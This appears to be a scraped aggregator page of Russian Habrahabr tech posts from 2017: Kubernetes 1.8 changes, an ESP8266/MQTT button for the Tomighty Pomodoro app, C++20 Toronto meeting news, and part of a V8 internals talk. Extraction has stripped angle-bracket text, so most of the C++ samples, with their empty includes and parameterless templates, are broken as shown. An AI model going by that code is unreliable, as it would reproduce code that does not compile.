          Сборщик мусора получил поддержку пользовательских API, добавленных через CustomResourceDefinition или агрегированные API-серверы. Поскольку обновления контроллера происходят периодически, между добавлением API и началом работы сборщика мусора для него стоит ожидать задержку около 30 секунд.

          Workload API


          Так называемый Workload API — это базовая часть Kubernetes API, относящаяся к «рабочим нагрузкам» и включающая в себя DaemonSet, Deployment, ReplicaSet, StatefulSet. На данный момент эти API перенесены в группу apps и с релизом Kubernetes 1.8 получили версию v1beta2. Стабилизация же Workload API предполагает вынесение этих API в отдельную группу и достижение максимально возможной консистентности с помощью стандартизации этих API путём удаления/добавления/переименования имеющихся полей, определения однотипных значений по умолчанию, общей валидации. Например, стратегией spec.updateStrategy по умолчанию для StatefulSet и DaemonSet стал RollingUpdate, а выборка по умолчанию spec.selector для всех Workload API (из-за несовместимости с kubectl apply и strategic merge patch) отключена и теперь требует явного определения пользователем в манифесте. Обобщающий тикет с подробностями — #353.

          Другое


          Среди прочих (и весьма многочисленных!) изменений в релизе Kubernetes 1.8 отмечу:

          • управление доступом на основе ролей (RBAC), использующее группу API rbac.authorization.k8s.io для возможности конфигурации динамических политик, переведено в стабильный статус (GA), а также получило бета-версию нового API (SelfSubjectRulesReview) для просмотра действий, которые пользователь может выполнить с пространством имён;
          • представлена альфа-версия механизма для хранения ключей шифрования ресурсов в сторонних системах (Key Management Systems, KMS), и одновременно с этим появился плагин Google Cloud KMS (#48522);
          • в PodSecurityPolicies добавлена поддержка белого списка разрешённых путей для томов хоста;
          • поддержка CRI-O (Container Runtime Interface) на базе стандарта от Open Container Initiative объявлена стабильной (прошла все тесты e2e) [CRI-O — связующее звено между kubelet и исполняемыми средами, совместимыми с OCI, такими как runc; подробнее см. в GitHub], а также проект cri-containerd достиг статуса альфа-версии;
          • поддержка Multi-cluster, ранее известная как Federation, готовится к стабильному выпуску (GA) в следующих релизах Kubernetes, а пока стали доступны альфа-реализации Federated Jobs, которые автоматически деплоятся на множество кластеров, и Federated Horizontal Pod Autoscaling (HPA), работающих аналогично обычным HPA, но, опять же, с распространением на множество кластеров;
          • команда, ответственная за масштабируемость, формально зафиксировала процесс своего тестирования, создала документацию для имеющихся пороговых значений, определила новые наборы по уровням обслуживания (Service Level Indicators и Service Level Objectives).

          P.S.


          Во время подготовки Kubernetes 1.8 проект собирался со следующими версиями Docker: 1.11.2, 1.12.6, 1.13.1, 17.03.2. Список известных проблем (known issues) для них см. здесь. В том же документе, озаглавленном как «Introduction to v1.8.0», можно найти и более полный список всех крупных изменений.

          Сами мы затянули с обновлением обслуживаемых кластеров Kubernetes с релиза 1.6 до 1.7 и провели основную миграцию только 2 недели назад (на данный момент осталось несколько инсталляций с версией 1.6). Повсеместное обновление до нового релиза — 1.8 — планируем уже в октябре.

          Читайте также в нашем блоге:

          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338230/


          Метки:  

          Тайм-менеджмент для кинестетиков

          Пятница, 29 Сентября 2017 г. 05:00 + в цитатник
          Himura сегодня в 05:00 Разработка

          Тайм-менеджмент для кинестетиков

            Время — самый ценный ресурс, который у нас есть. Чтобы использовать его максимально продуктивно, существуют всякого рода техники тайм-менеджмента. Если говорить о тайм-менеджменте в масштабах рабочего дня, то одна из самых популярных техник называется Pomodoro. Но эта статья не про GTD, а про код (и немного про железо ^^).


            Так вот, для техники Pomodoro есть инструмент Tomighty и у него открытый исходный код на C#, что побуждает к модификации этого самого кода с целью добавления новых возможностей и интеграции со всякими штуками.


            Сегодня мы будем интегрировать клиент Tomighty с устройстовм "Большая Красная Кнопка". Нам для этого понадобится:


            • Большая Красная Кнопка (со светодиодом). У меня оказалась не очень большая, но очень красная.
            • ESP8266 — один из наиболее оптимальных микроконтроллеров по соотношению удобство/цена. Это даже не микроконтроллер вовсе, но как микроконтроллер он абсолютно прекрасен!
            • MicroPython. Я не знаю языка удобнее чем Python, а вы? Разве что Ruby, но его вроде бы не портировали на ESP8266.
            • Протокол MQTT для связи между компом и девайсом.
            • Visual Studio.
            • Опционально, расширение CodeRush for Roslyn. Оно сильно упрощает работу с как со своим, так и с незнакомым кодом.


            Зачем? Чтобы получить опыт работы с чужим кодом. В связи с грядущим Hacktoberfest, этот скилл будет крайне актуален.


            Welcome!


            Большая Красная Кнопка


            С аппаратной стороны нет ничего сверхъестественного, посему подробно описывать каждый шаг не буду, всё должно работать, а код сам по себе довольно понятный.


            1. Берём ESP8266. У меня ESP-12-Q, но подойдет любой модуль с памятью 1МБ или более.
            2. Прошиваем MicroPython по инструкции.
            3. Качаем официальную реализацию MQTT и сохраняем её как mqtt.py. На ESP через WebREPL.
            4. Находим бесплатный MQTT-брокер в Интернетах, или поднимаем локальный Mosquitto. Я использовал CloudMQTT, но это вовсе не единственный вариант.
            5. Изучаем и улучшаем код для ESP8266, а потом заливаем на плату под имененм main.py.
            6. Подключаем светящуюся кнопочку из ближайшего магазина электроники.
            7. Reboot.
            8. Debug via Serial Port.

            Доработка клиента Tomighty


            Начнём с клонирования репозитория. Можно официальный, можно форк (где в соответствующем брэнче всё уже сделано). Открываем солюшн в студии.


            Для того, чтобы собрать проект Tomighty.Windows, необходимо устанвоить в него пакет UWPDesktop через NuGet. Это совершенно неочевидное действие, до которого мы с коллегами относительно долго пытались додуматься и чуть менее долго догуглиться. Возможно это тривиально для тех кто имел дело со старомодными WinForms приложениями, зовущими новомодный UWP API, но для тех кто таким не занимался — не очень.


            Таким образом, на данном этом этапе у меня получилось собираемое и запускаемое приложение (надеюсь, у вас тоже), так что я приступил к поиску мест, в которые можно внедриться со своими костылями. С помощью CodeRush for Roslyn это оказалось совсем несложно.


            Задачи такие:


            1. Добавить в меню иконки трэя пункт "Connect to the Red Button"
            2. Запускать уведомление (их Toast с иконкой) при успешном соединении с MQTT-брокером или неудачной попытке
            3. Запускать период Pomodoro при получении сообщения по MQTT
            4. Отправлять сообщение по MQTT при фактическом старте периода Pomodoro и другое сообщение при старте прерывов

            Для начала выясним как запустить период Pomodoro, скорее всего этот путь приведет нас к основным архитектурным элементам приложения быстрее всего. Пробный запуск показал, что, похоже, основным источником управления тут является икнока в трэе, так что попробуем найти точку входа где-нибудь в папке Tomighty.Windows\Tray\. Действительно, в интерфейсе ITrayMenu есть похожий на правду метод, посмотрим где он используется.



            Нашёлся очень мясистый файлик TrayMenuController.cs, а в нём и нужный метод


            private void OnStartPomodoroClick(object sender, EventArgs e) => StartTimer(IntervalType.Pomodoro);
            
            // ...
            
            private void StartTimer(IntervalType intervalType) {
                Task.Run(() => pomodoroEngine.StartTimer(intervalType));
            }

            Окей, значит за основные операции типа запуска периодов отвечает объект pomodoroEngine. Он нам понадобится.


            Название (да и содержимое) этого класса TrayMenuController как бы намекают на то что он является одним из интерфейсов программы с человеком, и скорее всего нам надо создать что-то похожее, чтобы добавить поддержку собственного интерфейса в виде красной кнопки. Воспользуемся той же Jump to менюшкой, чтобы найти где создается объект этого класса.



            Отлично, мы нашли точку входа. Она выглядит как-то так:


            internal class TomightyApplication : ApplicationContext {
                public TomightyApplication() {
                    var eventHub = new SynchronousEventHub();
                    var timer = new Tomighty.Timer(eventHub);
                    var userPreferences = new UserPreferences();
                    var pomodoroEngine = new PomodoroEngine(timer, userPreferences, eventHub);
            
                    var trayMenu = new TrayMenu() as ITrayMenu;
                    var trayIcon = CreateTrayIcon(trayMenu);
                    var timerWindowPresenter = new TimerWindowPresenter(pomodoroEngine, timer, eventHub);
            
                    new TrayIconController(trayIcon, timerWindowPresenter, eventHub);
                    new TrayMenuController(trayMenu, this, pomodoroEngine, eventHub);
                    // ...
            
                    new StartupEvents(eventHub);
                }
                // ...
            }

            Время совершить небольшую интервенцию: создадим еще один объект несуществующего класса, а потом с помощью фичи Declare Class добавим сам класс.



            Я сразу передал еще и eventHub, потому что заметил что в TrayMenuController через него можно подписаться на ивенты старта и окончания таймера. Пригодится.


            Сразу можно сделать два филда из автоматически сгенерированных параметров конструктора фичей Declare Field with Initializer:



            Чтож, теперь мы можем подписываться на ивенты и управлять таймерами. Попробуем добавить пункт меню в трэй, который будет вызывать метод RedButtonController.Connect().


            Довольно быстро пришло осознание, что лучше всё-таки сохранить инстанс нашего контроллера и передать его в TrayMenuController, чтобы тот мог спокойно напрямую позвать Connect() безо всяких ивентов и усложнений.


            var redButton = new RedButtonController(eventHub);
            // ...
            new TrayMenuController(trayMenu, this, pomodoroEngine, eventHub, redButton);

            Чтобы пункт меню появился в списке, надо создать TrayMenu.redButtonConnectItem и везде его прокинуть по аналогии с теми что рядом. В поиске таких мест хорошо поможет Tab to Next Reference: Можно просто поставить курсор на любой референс, нажать Tab и перейти к следующему, при этом все референсы в поле зрения подсвечиваются.



            Никаких подводных камней замечено не было, всё заработало довольно быстро. redButtonConnectItem вызывает RedButtonController.Connect() через хэндлер TrayMenuController.OnRedButtonConnect()



            (таскбар слева экономит вертикальное пространство и круче чем таскбар снизу)


            А теперь, попробуем вызвать Toast (это такие новомодные нотификации). Когда я впервые запустил приложение, один такой прилатал с предложением настроиться после первого запуска. Попробуем его отыскать. Думаю, надо начать со строчки new StartupEvents(eventHub) в конце конструктора TomightyApplication. Пара нажатий на F12 (перейти к декларации) приводят в файл Tomighty.Windows\Events.cs с двумя пустыми ивентами:


            namespace Tomighty.Windows.Events {
                public class FirstRun { }
                public class AppUpdated { }
            }

            Чтож, ни один из этих нам не подходит, при чём даже формат пустого ивента не совсем подходит, хотелось бы передавать туда результат попытки подключиться. Создаём новый ивент, объявляем в нём филд и используем Smart Constructor для добавления конструктора с автоматической инициализацией филда.



            Далее, пришлось пройтись по всем местам где что-то происходило с ивентом FirstRun и добавить подобные действия для нашего ивента RedButtonConnectionChanged.



            Попутно пришлось добавить XML-документ с содержанимем нотификации и прописать путь к нему в ресурсы. Но, опять же, всё завелось без единой бряки. Вот что значит хорошая архитектура!



            Соединение с MQTT


            Окей, у нас есть pomodoroEngine, eventHub, пункт меню и нотификации, вроде бы всё что нужно, можно соединяться с MQTT и пробывать общаться с кнопкой. Для MQTT будем использовать самый гуглящийся клиент M2Mqtt:


            PM> Install-Package M2Mqtt

            У меня уже был простенький класс, для M2Mqtt, так что я его просто подключил и наслаждался ну-совсем-простым API:


            public void Connect() {
                mqtt = new MQTTClient("m10.cloudmqtt.com", 13633);
                mqtt.Connect("%LOGIN%", "%PASSWORD%");
                if (!mqtt.client.IsConnected) {
                    eventHub.Publish(new RedButtonConnectionChanged(false));
                    return;
                }
                eventHub.Publish(new RedButtonConnectionChanged(true));
            
                mqtt.client.MqttMsgPublishReceived += onMsgReceived;
                mqtt.Subscribe("esp");
            }

            Добавить хэндлер можно с помощью Declare Method:



            Осталось подписаться на TimerStarted и TimerStopped, и можно писать логику. А логика у меня в первом приближении получилась такая:



            Тут можно много чего доработать, например, адекватно обработать ситуацию когда кнопка нажата во время перерыва, но это уже мелочи. А вот корпус уже куплен и скорее всего будет, осталось продырявить и скоммутировать. Дополнительной фичей получившегося девайса является то, что он сообщает коллегам когда вас можно отвлекать, а когда нельзя. А в остальном, довольно бесполезная штука :)


            Original source: habrahabr.ru (comments, light).

            https://habrahabr.ru/post/338948/


            Метки:  

            Опыт внедрения PSR стандартов в одном легаси проекте

            Пятница, 29 Сентября 2017 г. 00:08 + в цитатник
            Fantyk сегодня в 00:08 Разработка

            Опыт внедрения PSR стандартов в одном легаси проекте

              Всем привет!
              В этой статье я хочу рассказать о своем опыте переезда на “отвечающую современным трендам” платформу в одном legacy проекте.


              Все началось примерно год назад, когда меня перекинули в “старый” (для меня новый) отдел.
              До этого я работал с Symfony/Laravel. Перейдя на проект с самописным фреймворком количество WTF просто зашкаливало, но со временем все оказалось не так и плохо.
              Во-первых, проект работал. Во-вторых, применение шаблонов проектирования прослеживалось: был свой контейнер зависимостей, ActiveRecord и QueryBuilder.
              Плюс, был дополнительный уровень абстракции над контейнером, логгером, работе с очередями и зачатки сервисного слоя(бизнес логика не зависела от HTTP слоя, кое-где логика была вынесена из контроллеров).


              Далее я опишу те вещи, с которыми трудно было мириться:


              1. Логгер log4php


              Сам по себе логгер работал и хорошо. Но были жирные минусы:


              • Отсутствие интерфейса
              • Сложность конфигурации для задач чуть менее стандартных (например, отправлять логи уровня error в ElastickSearch).
              • Подавляющее большинство компонентов мира opensource зависят от интерфейса Psr\Log\LoggerInterface. В проекте все равно пришлось держать оба логгера.

              2-6. Контроллеры были вида:


              https://habrahabr.ru/post/337692/


              Метки:  

              Криптоалгоритмы. Классификация с точки зрения количества ключей

              Четверг, 28 Сентября 2017 г. 23:26 + в цитатник

              Метки:  

              На шаг ближе к С++20. Итоги встречи в Торонто

              Четверг, 28 Сентября 2017 г. 22:47 + в цитатник
              antoshkka сегодня в 22:47 Разработка

              На шаг ближе к С++20. Итоги встречи в Торонто

                Несколько недель назад состоялась встреча международного комитета по стандартизации C++. На ней люди (в основном) не разменивались на мелочи и совершили несколько больших шагов на пути к С++20.

                image

                Главные новости:

                • Расширению Concepts быть в C++20!
                • Ranges, Networking и Coroutines/сопрограммы: выпущены в эксперимент в виде TS.
                • Модули: черновик TS готов.

                Что всё это значит, как это упростит написание кода и что было ещё — читайте под катом.

                Concepts


                Замечательная вещь под названием Concepts внесена в черновик будущего стандарта С++20. Это большая радость для разработчиков обобщенных библиотек, использующих идиому SFINAE.

                Мотивирующий пример для любителей SFINAE
                В вашей библиотеке есть функции `*_fast` и `*_slow`, принимающие на вход два шаблонных параметра `v` и `data`:

                1. `*_fast` — сильно соптимизированы, но требуют, чтобы следующие операции возвращали T& и были валидны:

                      v += data;
                      v -= data;
                      v *= data;
                      v /= data;
                  
                2. `*_slow` — медленные, но работают со всеми типами данных.

                Задача — написать функции `*_optimal`, которые используют версию `*_fast`, если это возможно:

                #include 
                
                template 
                void compute_vector_fast(Container& v, const Data& data) {
                    std::cout << "fast\n";
                    // ...
                }
                
                template 
                void compute_vector_slow(Container& v, const Data& data) {
                    std::cout << "slow\n";
                    // ...
                }
                
                template 
                void compute_vector_optimal(Container& v, const Data& data) {
                    // ??? call `compute_vector_slow(v, data)` or `compute_vector_fast(v, data)` ???
                }
                

                Без концептов эта задача, например, решается через `std::enable_if_t` и множество нечитаемого шаблонного кода.

                С концептами всё намного проще:

                #include 
                
                template 
                concept bool VectorOperations = requires(T& v, const Data& data) {
                    { v += data } -> T&;
                    { v -= data } -> T&;
                    { v *= data } -> T&;
                    { v /= data } -> T&;
                };
                
                template 
                    requires VectorOperations
                void compute_vector_optimal(Container& v, const Data& data) {
                    std::cout << "fast\n";
                }
                
                template 
                void compute_vector_optimal(Container& v, const Data& data) {
                    std::cout << "slow\n";
                }
                


                Концепты позволяют:

                • писать более простой шаблонный код,
                • выдавать более короткие сообщения об ошибках при использовании неверных шаблонных параметров (в теории, пока что это не так!).

                С концептами уже можно поэкспериментировать в GCC, если использовать флаг -fconcepts, например, тут. Вот последний доступный proposal на Concepts.

                Ranges TS


                Ranges увидят свет в виде технической спецификации. Это значит, что поэкспериментировать с ними можно будет еще до C++20.

                С Ranges можно писать `sort(container)` вместо `sort(container.begin(), container.end())`, нужно только заиспользовать нужный namespace.

                А еще расширяются возможности стандартных алгоритмов. Например, можно искать быстрее, если мы точно знаем, что элемент содержится в контейнере:

                #include 
                #include ranges/algorithm>
                namespace ranges = std::experimental::ranges;
                
                int main () {
                    // Функция get_some_values_and_delimiter() фозвращает вектор,
                    // в котором гарантированно есть число 42
                    std::vector v2 = get_some_values_and_delimiter();
                
                    // Необходимо найти число 42 и отсортировать все элементы, идущие после него:
                    auto it = ranges::find(v.begin(), ranges::unreachable{}, 42);
                    ranges::sort(++it, v.end());
                }
                

                Нечто подобное Александреску делал для получения супербыстрого поиска.

                Любителям SFINAE и обобщённых библиотек Ranges тоже принесут счастье, так как они определяют огромное количество концептов: Sortable, Movable, Copyable, DefaultConstructible, Same…

                Можно поэкспериментировать, скачав библиотеку отсюда. Вот последний доступный черновик Ranges.

                Networking TS


                Все, что необходимо для работы с сокетами (в том числе для асинхронной работы), будет выпущено в эксперимент еще до C++20. В основе Networking TS лежит доработанный и улучшенный ASIO.

                Вот пара приятных различий:
                • В Networking TS можно передавать move-only callback. В ASIO для этого надо было на свой страх и риск поплясать с бубном макросом BOOST_ASIO_DISABLE_HANDLER_TYPE_REQUIREMENTS. Так что если у вас есть функциональный объект с unique_ptr, то его можно спокойно использовать для callback.
                • Больше constexpr для базовых типов (например, для ip::address).
                • Вменяемые способы передачи аллокаторов: можно в класс-callback добавить allocator_type и метод allocator_type get_allocator(); можно специализировать шаблон associated_allocator и описать, какие методы класса надо дергать вместо get_allocator().

                Можно поэкспериментировать, скачав библиотеку отсюда. Вот последний доступный черновик Networking.

                Coroutines TS


                Сопрограммы — это «возможность сохранить текущий стек, переключиться на другой стек и поработать там, а потом вернуться». В основном они используются для создания генераторов и асинхронной работы.

                Самый смак получается, если смешать Coroutines TS и Networking TS. Тогда вместо асинхронного нечитабельного кода на +100 строк можно получить то же самое, но на 40 строк:

                #include 
                #include 
                #include 
                #include net>
                
                using net = std::experimental::net;
                using net::ip::tcp;
                
                std::string make_daytime_string() {
                    using namespace std; // For time_t, time and ctime;
                    time_t now = time(0);
                    return ctime(&now);
                }
                
                void start_accept(net::io_context& io_service) {
                    tcp::acceptor acceptor{io_service, tcp::endpoint(tcp::v4(), 13)};
                
                    while (1) {
                        tcp::socket socket(acceptor.get_io_service());
                        auto error = co_await acceptor.async_accept(socket, net::co_future);
                        if (error) break;
                
                        std::string message = make_daytime_string();
                        auto& [error, bytes] = co_await async_write(
                            socket, net::buffer(message), net::co_future
                        );
                        if (error) break;
                    }
                }
                
                int main() {
                    net::io_context io_service;
                    io_service.post([&io_service](){
                        try {
                            start_accept(io_service);
                        } catch (const std::exception& e) {
                            std::cerr << e.what() << std::endl;
                        }
                    });
                
                    io_service.run();
                }
                

                Но вот плохие новости: такую интеграцию Coroutines TS и Networking TS в стандарт еще не привнесли. Пока что придется реализовывать ее самим.

                С сопрограммами уже можно поэкспериментировать в CLANG-6.0, если использовать флаги -stdlib=libc++ -fcoroutines-ts, например, тут. Вот последний доступный черновик Coroutines.

                Модули


                Подготовлен черновик TS. Дело сдвинулось и есть шансы увидеть модули уже в течение года!

                Что такое модули и почему они лучше заголовочных файлов?
                Когда вы собираете проект, каждый файл cpp может компилироваться параллельно (это хорошо, отличная масштабируемость).

                Однако, как правило, вы используете одни и те же заголовочные фалы в каждом файле cpp. За счет того, что компиляция различных файлов cpp никак не связана друг с другом, при каждой компиляции компилятор разбирает одни и те же заголовочные файлы снова и снова. Именно этот разбор и тормозит (заголовочный файл iostream весит более мегабайта, подключите 20 подобных заголовочных файлов — и компилятору придётся просмотреть и разобрать около 30 мегабайт кода при компиляции одного файла cpp).

                И тут на сцену выходят модули! Модуль — это набор файлов, собранных воедино и сохранённых на диск в понятном для компилятора бинарном виде. Таким образом, при подключении модуля компилятор просто считает его с диска в свои внутренние структуры данных (минуя этапы открытия нескольких фалов, парсинга, препроцессинга и некоторых другие вспомогательные этапы).

                Дополнительный прирост скорости при компиляции будет получен за счёт того, что в модуле вы явно указываете его публичный интерфейс. То есть компилятор сможет сделать ряд оптимизаций ещё при создании модуля. Это сильно уменьшит затраты оперативной памяти, ускорит поиск подходящих перегруженных функций, структур и т. д. за счёт того, что их попросту будет меньше.

                И наконец, финальная стадия сборки проекта — линковка. В данный момент линковщик может тратить много времени на выкидывание одинаковых блоков скомпилированного кода (вы написали функцию inline/force_inline, 100 раз её использовали, а компилятор решил её не встраивать — линкер выкинет 99 скомпилированных тел вашей функции и оставит одно). С модулями такого происходить не должно, поскольку файл модуля не будет «вкомпиливаться» внутрь собранного файла cpp.

                Модули в черновике не экспортируют макросы, поэтому будет сложновато использовать их для системных файлов с множеством макросов (``, я на тебя намекаю!) и поддерживать код, использующий модуль и его старый заголовочный файл (если у вас std::string описан в модуле и в заголовочном файле , то при подключении модуля и заголовочного файла будет multiple definitions, поскольку макрос для include guards не экспортируется из модуля). Это как раз такие модули, за которые вы проголосовали в прошлом посте (ваши голоса мы донесли до комитета).

                Вот последний доступный черновик Modules.

                Мелочи, принятые в C++20


                В C++20 можно будет инициализировать bitfields в описании класса:

                struct S {
                    unsigned x1:8 = 42;
                    unsigned x2:8 { 42 };
                };
                

                Можно будет понимать платформы endianness стандартными методами:

                if constexpr (std::endian::native == std::endian::big) {
                    // big endian
                } else if constexpr (std::endian::native == std::endian::little) {
                    // little endian
                } else {
                    // mixed endian
                }
                

                Можно будет инициализировать поля структур, прям как в чистом C:

                struct foo { int a; int b; int c; };
                foo b{.a = 1, .b = 2};
                

                У лямбд можно будет явно указывать шаблонные параметры:

                auto bar = [](Args&&... args) {
                    return foo(std::forward(args)...);
                };
                

                Заслуги РГ21


                На встречу в Торонто мы ездили с несколькими предложениями:

                • P0652R0 — конкурентные ассоциативные контейнеры. Комитет хорошо встретил предложение, посоветовал провести эксперименты для улучшения ряда мест, посоветовал улучшения в интерфейсе. Начали работу над следующей версией предложения.
                • P0539R1 — integers, размер (количество байт) которых задаётся на этапе компиляции. Возникли споры по поводу интерфейса (указывать шаблонным параметром биты, байты или машинные слова), так что в следующей итерации необходимо будет привести плюсы и минусы различных подходов.
                • P0639R0 — наше предложение направить усилия в сторону разработки `constexpr_allocator` вместо `constexpr_string + constexpr_vector`. Встретили крайне благосклонно, проголосовали за. Следующие наши шаги — прорабатывать тему вместе с Давидом.
                • P0415R0 — constexpr для std::complex. Предложение было одобрено и теперь находится в подгруппе LWG (вместе с предложением на constexpr для стандартных алгоритмов). Должно быть в скором времени смержено в черновик C++20.

                  Зачем вообще эти constexpr?
                  В комитете С++ активно работают над идеями рефлексии и метаклассов. Обе эти идеи требуют хорошей поддержки constexpr-вычислений от стандартной библиотеки, так что предложения на добавление constexpr — это в основном задел на будущее, чтобы при принятии в стандарт рефлексии можно было использовать стандартные классы и функции.

                  Кроме того, ряду библиотек уже нужны constexpr-функции: [1], [2].

                Вдобавок нас попросили представить комитету два предложения, непосредственно над написанием которых мы не работали:

                • P0457R0 — starts_with и ends_with для строк. Комитет предложил сделать это в виде свободных функций. Один из присутствующих сказал, что у них в компании есть эти методы и их используют чаще, чем остальные алгоритмы вместе взятые. Все с нетерпение ждут новой версии proposal, уже со свободными функциями.
                • P0458R0 — функция contains(key) member для классов [unordered_]map/set/multimap/multiset. Комитету идия пришлась по душе, почти отправили в LWG для внедрения в C++20.

                На подходе


                Обсуждали предложение по форматированию текста, и многим понравились предлагаемые возможности (вероятно, потому, что людям нравится Python):

                fmt::format("The answer is {}", 42);

                Обсуждали ring_span, который по функциональности напоминает boost::circular_buffer, но не владеет элементами (является view над контейнером).

                На подходе битовые операции. Когда их примут, правильным ответом на вопрос «Как подсчитать количество выставленых битов в переменной X?» на собеседованиях станет «std::popcount(X)».

                Планы и прочее


                РГ21 планирует в ближайшее время написать предложения на std::stacktrace (в качестве прототипа послужит Boost.Stacktrace), доработать предложение на std::shared_library и на экспорт символов из динамических библиотек.

                Если у вас есть идеи для C++20, если вы нашли проблемы в C++17/14/11 либо просто хотите подстегнуть разработку той или иной фичи C++ — заходите на сайт рабочей группы stdcpp.ru. Добро пожаловать!

                Есть желание помочь с написанием предложений и внести своё имя в историю? Мы подготовили мини-инструкцию по написанию предложений.
                Original source: habrahabr.ru (comments, light).

                https://habrahabr.ru/post/336264/


                V8 под капотом

                Четверг, 28 Сентября 2017 г. 17:59 + в цитатник
                MaxJoint сегодня в 17:59 Разработка

                V8 под капотом

                  Ведущий разработчик из «Яндекс.Денег» Андрей Мелихов (также редактор/переводчик сообщества devSchacht) на примере движка V8 рассказывает о том, как и через какие стадии проходит программа, прежде чем превращается в машинный код, и зачем на самом деле нужен новый компилятор.



                  Материал подготовлен на основе доклада автора на конференции HolyJS 2017, которая проходила в Санкт-Петербурге 2-3 июня. Презентацию в pdf можно найти по этой ссылке.



                  Несколько месяцев назад вышел фильм «Последний убийца драконов». Там, если протагонист убивает дракона, то в мире исчезает магия. Я хочу сегодня выступить протагонистом, я хочу убить дракона, потому что в мире JavaScript нет места для магии. Все, что работает, работает явно. Мы должны разобраться, как оно устроено, чтобы понимать, как оно работает.

                  Я хочу поделиться с вами своей страстью. В какой-то момент времени я осознал, что плохо знаю, как устроен под капотом V8. Я начал читать литературу, смотреть доклады, которые в основном на английском, накопил знания, систематизировал и хочу их довести до вас.

                  Интерпретируемый или компилируемый у нас язык?


                  Я надеюсь, все знают отличие, но повторю. Компилируемые языки: в них исходный код преобразуется компилятором в машинный код и записывается в файл. В них используется компиляция до выполнения. В чем преимущество? Его не нужно повторно компилировать, он максимально автоматизирован для той системы, под которую скомпилирован. В чем недостаток? Если у вас меняется операционная система, и если у вас нет исходников, вы теряете программу.
                  Интерпретируемые языки – когда исходный код исполняется программой-интерпретатором. Преимущества в том, что легко достичь кроссплатформенности. Мы поставляем наш исходный код как есть, и если в этой системе есть интерпретатор, то код будет работать. Язык JavaScript, конечно, интерпретируемый.

                  Погрузимся в историю. В 2008 выходит браузер Chrome. В том году Google презентовал новый движок V8. В 2009 году на том же самом движке была представлена Node.js, которая состояла из V8 и библиотеки libUV, которая обеспечивает io, т.е. обращение к файлам, сетевые какие-то вещи и т.д. В общем, две очень важные вещи для нас построены на движке V8. Посмотрим, из чего он состоит.



                  В 2008 году движок был довольно прост внутри. Ну, относительно прост — схема его была простая. Исходный код попадал в парсер, из парсера — в компилятор, и на выходе мы получали полуоптимизированный код. Полуоптимизированный, потому что хорошей оптимизации тогда еще не было. Возможно, в те годы приходилось писать лучший JavaScript, потому что нельзя было надеяться на то, что оптимизатор его сам внутри заоптимизирует.

                  Для чего в этой схеме нужен парсер?


                  Парсер нужен для того, чтобы превращать исходный код в абстрактное синтаксическое дерево или AST. AST – такое дерево, в котором все вершины — операторы, а все листья — это операнды.



                  Посмотрим на примере математического выражения. У нас такое дерево, все вершины – операторы, ветви – операнды. Чем оно хорошо — тем, что из него очень легко генерировать позже машинный код. Кто работал с Assembler, знает, что чаще всего инструкция состоит из того, что сделать и с чем сделать.



                  И вот здесь как раз мы можем смотреть, являемся ли мы в текущей точке оператором или операндом. Если это оператор, смотрим его операнды и собираем команду.



                  Что в JavaScript происходит, если у нас есть, например, массив, и мы запрашиваем из него элемент по индексу 1? Появляется такое абстрактное синтаксическое дерево, у которого оператор «загрузить свойство по ключу», а операнды – это объект и ключ, по которому мы загружаем это свойство.

                  Зачем в JavaScript компилятор?


                  Как я сказал, язык у нас интерпретируемый, но в его схеме мы видим компилятор. Зачем он? На самом деле есть два типа компиляторов. Есть компиляторы (ahead-of-time), которые компилируют до выполнения, и компиляторы JIT, которые компилируют во время выполнения. И за счет JIT-компиляции получается хорошее ускорение. Для чего это нужно? Давайте сравним.



                  Есть один и тот же код. Один на Pascal, другой на JavaScript. Pascal — прекрасный язык. Я считаю, что с него и надо учиться программировать, но не с JavaScript. Если у вас есть человек, который хочет научиться программировать, то покажите ему Pascal или C.

                  В чем отличие? Pascal может быть и компилируемым и интерпретируемым, а JavaScript требует уже интерпретации. Самое важное отличие – это статическая типизация.



                  Потому что, когда мы пишем на Pascal, мы указываем переменные, которые необходимы, а потом пишем их типы. Потом компилятору легко построить хороший оптимизированный код. Как мы обращаемся к переменным в память? У нас есть адрес, и у нас есть сдвиг. Например, Integer 32, то мы делаем сдвиг на 32 по этому адресу в память и получаем данные.

                  В JavaScript нет, у нас типы всегда меняются во время выполнения, и компилятор, когда выполняет этот код, первый раз он его выполняет как есть, но собирает информацию о типах. И второй раз, когда он выполняет ту же самую функцию, он уже основываясь на данных, которые он получил в прошлый раз, предположив, какие были там типы, может сделать какую-то оптимизацию. Если с переменными все понятно, они определяются по значению, то что у нас с объектами?

                  Ведь у нас JavaScript, у него прототипная модель, и классов для объектов у нас нет. На самом деле есть, но они не видны. Это так называемые Hidden Classes. Они видны только самому компилятору.

                  Как создаются Hidden Classes?




                  У нас есть point – это конструктор, и создаются объекты. Сначала создается hidden class, который содержит только сам point.



                  Дальше у нас устанавливается свойство этого объекта x и из того, что у нас был hidden class, создаётся следующий hidden class, который содержит x.



                  Дальше у нас устанавливается y и, соответственно, мы получаем еще один hidden class, который содержит x и y.



                  Так мы получили три hidden class. После этого, когда мы создаем второй объект, используя тот же самый конструктор, происходит то же самое. Уже есть hidden classes, их уже не нужно создавать, с ними необходимо только сопоставить. Для того, чтобы позже мы знали, что эти два объекта одинаковы по структуре. И с ними можно похоже работать.



                  Но что происходит, когда мы позже еще добавляем свойство в объект p2? Создается новый hidden class, т.е. p1 и p2 уже не похожи. Почему это важно? Потому что, когда компилятор будет перебирать в цикле point, и вот у него будут все такие же, как p1, он их крутит, крутит, крутит, натыкается на p2, а у него другой hidden class, и компилятор уходит в деоптимизацию, потому что он получил не то, что ожидал.



                  Это так называемая утиная типизация. Что такое утиная типизация? Выражение появилось из американского сленга, если что-то ходит как утка, крякает как утка, то это утка. Т.е. если у нас p1 и p2 по структуре одинаковы, то они принадлежат к одному классу. Но стоит нам добавить в структуру p2 еще, и эти утки крякают по-разному, соответственно, это разные классы.

                  И вот мы получили данные о том, к каким классам относятся объекты, и получили данные о том, какого рода переменные, где эти данные использовать и как их хранить. Для этого используется система Inline Caches.



                  Рассмотрим, как происходит создание Inline Caches для этой части. Сначала, когда у нас код анализируется, он дополняется такими вызовами. Это только инициализация. Мы еще не знаем, какого типа будет у нас наш Inline Caches.

                  Мы можем сказать, что вот в этом месте проиницилизируй его, вот здесь загрузка this.primes:



                  Вот здесь загрузка по ключу:



                  А дальше операция BinaryOperation — это не значит, что она двоичная, это значит что она бинарная, а не унарная операция. Операция, у которой есть левая и правая части.



                  Что происходит во время выполнения?


